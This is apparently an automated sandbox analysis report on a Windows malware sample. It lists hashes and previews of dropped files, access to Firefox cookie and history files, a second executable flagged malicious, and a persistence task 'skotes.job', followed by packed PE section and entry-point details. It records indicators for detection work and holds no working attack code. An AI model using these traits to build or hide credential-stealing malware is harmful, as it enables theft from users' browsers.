Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsKJEGDBKFIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915904
Entropy (8bit):	7.95024087455261
Encrypted:	false
SSDEEP:	49152:D8Lo4gXBFKk5P0V6HJaD7XnS5FhbY2d341h:Dio4QDRHJWL6FhPWh
MD5:	27497D872004D9B173CA70DE453A9023
SHA1:	8F27759F09BAC88C16E09E582457CA630FDBA92E
SHA-256:	61B4E65D91F74AF0640BF76E62C02A0772BFBCF352237754FEA97C3ACFD11D2C
SHA-512:	913ED32BA748642C3B6770D9A4995C6FE39D0911D91151D5AA76F6E63A5694EEDF27341FCDF157C1AD76661417752924691D1C28B04A683407AB4F157013DA4A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....D.....@.................................W...k.......D.....................K.............................<.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...aapaipka. ....1.. ..................@...lvlzfpat......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsKJEGDBKFIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.439602919305695
Encrypted:	false
SSDEEP:	6:Tc/EiVXUhXUEZ+lX1CGdKUe6tE9+AQy0lBuuldt0:Tc8iR4Q1CGAFD9+nVBuqdt0
MD5:	9F4FF026EF6AC2EA6CAB30C0411A9042
SHA1:	3BFAB4880E668CAA8CEA5A6A4A8492F715230B3A
SHA-256:	D66A617F499C372AAA88A27AD5C4404083D0ACFAE47FC449DBEEBD699A1360BF
SHA-512:	FF04342EB1F3CA6DD6135A981BBF5EBC79206B2E0AA8438FBB32E5A754DDC6C58FAF4C6C4D3A3C16F7C208351B9553B932176EEEC284E7DA05F1BE2B90F2C143
Malicious:	false
Preview:	....(.19m..L.".T._..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5199)
Category:	downloaded
Size (bytes):	5204
Entropy (8bit):	5.803814041475442
Encrypted:	false
SSDEEP:	96:bM9foli9xR8nOrnmHpcnrq3hxnm9mhIN6666Vvjg8LWcbpqEVp8qN6b+Uy9+Cff3:bM9GqYqmHarqRxm9PN6666VbRWcVVLNt
MD5:	6AA15B2A8ABCEAF278C14459FFB73867
SHA1:	DAB5EBDB429F56C8C2350804559C48764DF1EC5C
SHA-256:	4FD8265ED21694A53EBC8A9B587B3F83C2A7996E574DF0BF4A69E52CECA08708
SHA-512:	AEA46E6F55EA8FC67E299FC2D530351F3F179D3456DE8BF3392BC0A8B8596F21571C527CFDD1AAE83B6C361D80E228534749928FBB8DC21406BBA314EC363F99
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nba","spacex satellites","mexican cattle imports","recap yellowstone season 5 episode 11","baker mayfield","kentucky confiscated alcohol auction","disney world","harvest racers monopoly go rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8wNWp2eBIGTGVhZ3VlMqIJZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCd0FBQUJBQ0FNQUFBQStuK2NxQUFBQW5GQk1WRVgvLy84QVE0emFHaklBTlliWUFCNnN1ZER4djhMeHU3OEFMWVBwN2ZNQVBZa0FRWXV4dmRQYUZDN1pBQ1lBTUlUWUFCVUFPb2pYQUFDOHh0bGxnYTRBSllCL2xicjQyZHpjNU83cGpaWDc2T3I5OC9UZE5FZndzcmZ2OC9qKyt2dmZSMVk3WUp1UG9jSEgwZUQyME5OUmNxWGNKVHREWnA3alltOFdUcEp3aWJQWEFBc3BWNWVnc012aFUySG1mNGZsY0hzQUhuN3RuNmJ1cUs1cXpsWlZBQUFDaGtsRVFWUTRqWVdWaVphcU1BeUdXMXBrS1FVckxyaUJnaml1TTg3TSs3L2JUUmVnNVhyT1JJK0g5aU50OHllTkNQMXBUYUxOYjFBVlNEdjFLSTh6b2l4c1liVGhsTkxwMmVCOHdiQzJySkhqMWRUelBEN1ROTzRZWGhSeXZKSFE0MmUxWDlZeHNW

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132980
Entropy (8bit):	5.4355593313584105
Encrypted:	false
SSDEEP:	3072:fVkX3ioI5wrfFiC8jMbk/5xnRUpvsMTwR2i6o:f+3dDFqr/5xnRUpvrwR8o
MD5:	26CBE9D0A43DB08AF8E2B2710DD3AE8F
SHA1:	8E16A77E833DD72523BE8556F059758F38D36A11
SHA-256:	CC6E0424BEE1D45C8C0DA553503F41B8EC238C22BACC0E376D539DF365F7FEA9
SHA-512:	CDBCEAFF25FD17368AF399FFC47F05D9CBF0D86DB6E6C6482CC5B6502F874609CE342BB7BAA6A2EBFDC020E912E80433EA8D350F2028379B2C4CA6BFEBCF8BC2
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2802)
Category:	downloaded
Size (bytes):	174866
Entropy (8bit):	5.55119411677623
Encrypted:	false
SSDEEP:	3072:WEBR5OnrJtUy+9+thjN33FhJpGha9HMRWIjFBJBHTZPYb62+vQ1jV9HyT++Wq7ki:WKR5Or8y+9+tdFFhJchaZMRWIhBJBHTl
MD5:	E75DAA83A93E581139D8AD8EE8D62358
SHA1:	AC0DED87D443840A77B446D53DA22BFD52441D5C
SHA-256:	177BD25B85BF254F44B515271222B773D2CF618FA17587D2DD507CE2104A3542
SHA-512:	50FD351CB34D216BC443BC8A3FD2773925FC7151B180E5F697750B356A2649AC302E1FEF4575416C02FF04498F877EB4326F5B21AAC713AAAA38ED6E8BB65C43
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Z8FBMQoacoc.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt16WS-AyvNEln9-TaO-tZR_15utQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.941713297470719
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'779'712 bytes
MD5:	155dd690d3f9997589275dc903c55840
SHA1:	3dca4c0622f26390204492c36878e2d2fd479c52
SHA256:	7b797970686d9cd17a4b68e13669f1094a75f06105840d3d3557b3e4b5372abf
SHA512:	f8973798f7c42a58f096f8bcac0fa84ee94de3d912b4b52385bb64be1c3549e0940496ff2857eb865cba41859403d9beef320206a1f4f769342ca85255e1b9af
SSDEEP:	24576:EC3AUm1PbKCxlnKU5piBE3JqR9aK1WWPWFQgDQ1KogyGjKponNIqpPEA+OeJfv6W:EH1Pb97fsCJqRcKtWKyozRanvWCW
TLSH:	7785330E2FFA6A76C44809BC53D7FA9CB2A3449D9109DDB38A0922F55E7701196063BF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa80000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7650B9848Ah
clts
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7650B9A485h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
and al, 91h
stc
cmp eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	bc615bf6ae1e4b74554970f1a1b69a03	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	56c435db8eee8dcce537dcd6ef4fc2e4	False	0.798828125	data	6.083475792965333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29a000	0x200	52f46c18c02f8cd093b11469d2d2b1cf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qjdxbwoo	0x4e6000	0x199000	0x198a00	98940a6b473e7280421dacab6b034992	False	0.9944758049097583	data	7.951942738011546	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
duqvgveg	0x67f000	0x1000	0x400	7041d2eeb1f131ed0319f97aa54bb399	False	0.7978515625	data	6.24330601807916	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
